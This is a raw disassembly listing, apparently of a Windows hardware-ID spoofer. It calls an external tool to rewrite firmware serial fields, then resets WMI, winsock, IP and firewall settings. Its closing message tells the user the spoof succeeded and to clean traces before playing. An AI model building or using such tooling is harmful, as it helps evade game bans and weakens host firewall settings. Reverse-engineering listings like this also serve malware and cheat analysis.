call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [rbp + 0x10]
call fcn.140005f30
nop
lea rcx, [rbp - 0x10]
call fcn.140005f30
lea r8, [rbp + 0x100]
lea rdx, str.C:WindowsSystem32CupFixerx32.exe__SU__
lea rcx, [rbp - 0x10]
call fcn.140006e70
nop
lea r8, [0x140035660]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006b50
mov rcx, rax
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [rbp + 0x10]
call fcn.140005f30
nop
lea rcx, [rbp - 0x10]
call fcn.140005f30
lea r8, [rbp + 0x120]
lea rdx, str.C:WindowsSystem32CupFixerx32.exe__SK__
lea rcx, [rbp - 0x10]
call fcn.140006e70
nop
lea r8, [0x140035660]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006b50
mov rcx, rax
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [rbp + 0x10]
call fcn.140005f30
nop
lea rcx, [rbp - 0x10]
call fcn.140005f30
lea r8, [rbp + 0x140]
lea rdx, str.C:WindowsSystem32CupFixerx32.exe__BM__
lea rcx, [rbp - 0x10]
call fcn.140006e70
nop
lea r8, [0x140035660]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006b50
mov rcx, rax
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [rbp + 0x10]
call fcn.140005f30
nop
lea rcx, [rbp - 0x10]
call fcn.140005f30
lea r8, [rbp + 0x160]
lea rdx, str.C:WindowsSystem32CupFixerx32.exe__BP__
lea rcx, [rbp - 0x10]
call fcn.140006e70
nop
lea r8, [0x140035660]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006b50
mov rcx, rax
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [rbp + 0x10]
call fcn.140005f30
nop
lea rcx, [rbp - 0x10]
call fcn.140005f30
lea r8, [rbp + 0x180]
lea rdx, str.C:WindowsSystem32CupFixerx32.exe__BS__
lea rcx, [rbp - 0x10]
call fcn.140006e70
nop
lea r8, [0x140035660]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006b50
mov rcx, rax
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [rbp + 0x10]
call fcn.140005f30
nop
lea rcx, [rbp - 0x10]
call fcn.140005f30
lea r8, [rbp + 0x1a0]
lea rdx, str.C:WindowsSystem32CupFixerx32.exe__BT__
lea rcx, [rbp - 0x10]
call fcn.140006e70
nop
lea r8, [0x140035660]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006b50
mov rcx, rax
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [rbp + 0x10]
call fcn.140005f30
nop
lea rcx, [rbp - 0x10]
call fcn.140005f30
lea r8, [rbp + 0x1c0]
lea rdx, str.C:WindowsSystem32CupFixerx32.exe__BLC__
lea rcx, [rbp - 0x10]
call fcn.140006e70
nop
lea r8, [0x140035660]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006b50
mov rcx, rax
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [rbp + 0x10]
call fcn.140005f30
nop
lea rcx, [rbp - 0x10]
call fcn.140005f30
lea r8, [rbp + 0x1e0]
lea rdx, str.C:WindowsSystem32CupFixerx32.exe__CM__
lea rcx, [rbp - 0x10]
call fcn.140006e70
nop
lea r8, [0x140035660]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006b50
mov rcx, rax
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [rbp + 0x10]
call fcn.140005f30
nop
lea rcx, [rbp - 0x10]
call fcn.140005f30
lea r8, [rbp + 0x200]
lea rdx, str.C:WindowsSystem32CupFixerx32.exe__CV__
lea rcx, [rbp - 0x10]
call fcn.140006e70
nop
lea r8, [0x140035660]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006b50
mov rcx, rax
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [rbp + 0x10]
call fcn.140005f30
nop
lea rcx, [rbp - 0x10]
call fcn.140005f30
lea r8, [rbp + 0x220]
lea rdx, str.C:WindowsSystem32CupFixerx32.exe__CS__
lea rcx, [rbp - 0x10]
call fcn.140006e70
nop
lea r8, [0x140035660]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006b50
mov rcx, rax
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [rbp + 0x10]
call fcn.140005f30
nop
lea rcx, [rbp - 0x10]
call fcn.140005f30
lea r8, [rbp + 0x240]
lea rdx, str.C:WindowsSystem32CupFixerx32.exe__CA__
lea rcx, [rbp - 0x10]
call fcn.140006e70
nop
lea r8, [0x140035660]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006b50
mov rcx, rax
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [rbp + 0x10]
call fcn.140005f30
nop
lea rcx, [rbp - 0x10]
call fcn.140005f30
lea r8, [rbp + 0x260]
lea rdx, str.C:WindowsSystem32CupFixerx32.exe__CSK__
lea rcx, [rbp - 0x10]
call fcn.140006e70
nop
lea r8, [0x140035660]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006b50
mov rcx, rax
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [rbp + 0x10]
call fcn.140005f30
nop
lea rcx, [rbp - 0x10]
call fcn.140005f30
lea r8, [rbp + 0x280]
lea rdx, str.C:WindowsSystem32CupFixerx32.exe__PSN__
lea rcx, [rbp - 0x10]
call fcn.140006e70
nop
lea r8, [0x140035660]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006b50
mov rcx, rax
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [rbp + 0x10]
call fcn.140005f30
nop
lea rcx, [rbp - 0x10]
call fcn.140005f30
lea r8, [rsp + 0x50]
lea rdx, str.C:WindowsSystem32CupFixerx32.exe__PAT__
lea rcx, [rbp - 0x10]
call fcn.140006e70
nop
lea r8, [0x140035660]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006b50
mov rcx, rax
call fcn.140005f20
mov rcx, rax
call fcn.140010d58
lea rcx, [rbp + 0x10]
call fcn.140005f30
nop
lea rcx, [rbp - 0x10]
call fcn.140005f30
lea rcx, str.sc_stop_winmgmt__nul
call fcn.140010d58
lea rcx, str.sc_start_winmgmt__nul
call fcn.140010d58
lea rcx, str.net_stop_winmgmt__y__nul
call fcn.140010d58
lea rcx, str.net_start_winmgmt__y__nul
call fcn.140010d58
lea rcx, str.ipconfig__flushdns__nul
call fcn.140010d58
lea rcx, str.netsh_int_ip_reset__nul
call fcn.140010d58
lea rcx, str.netsh_int_reset_all__nul
call fcn.140010d58
lea rcx, str.netsh_int_ipv4_reset__nul
call fcn.140010d58
lea rcx, str.netsh_int_ipv6_reset__nul
call fcn.140010d58
lea rcx, str.netsh_winsock_reset__nul
call fcn.140010d58
lea rcx, str.netsh_advfirewall_reset__nul
call fcn.140010d58
lea rcx, str.netsh_winsock_reset_catalog__nul
call fcn.140010d58
lea rcx, [0x140033bdc]
call fcn.140010d58
lea rdx, str._n____Successfully_spoofed__Please_restart_your_pc_before_playing_and_make_sure_to_clean_traces__DONT_FORGET_TO_CHANGE_VolumeID
lea rcx, [0x14003d4c0]
call fcn.140006bc0
mov ecx, 0x1d4c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.14000fc98
nop
call fcn.140010ea0
nop
call fcn.140010ea0
nop
call fcn.140010ea0
nop
call fcn.1400124b8
nop
call fcn.1400124b8
nop
mov ecx, 2
call fcn.140008a44
int3
mov ecx, 5
call fcn.140008a44
int3
mov ecx, 1
call fcn.140008a44
nop
mov dword [rbp - 8], ebx
mov ecx, 6
call fcn.140008a44
nop
mov dword [rbp + 0x18], ebx
mov ecx, 6
call fcn.140008a44
nop
mov dword [rsp + 0x38], ebx
mov ecx, 6
call fcn.140008a44
int3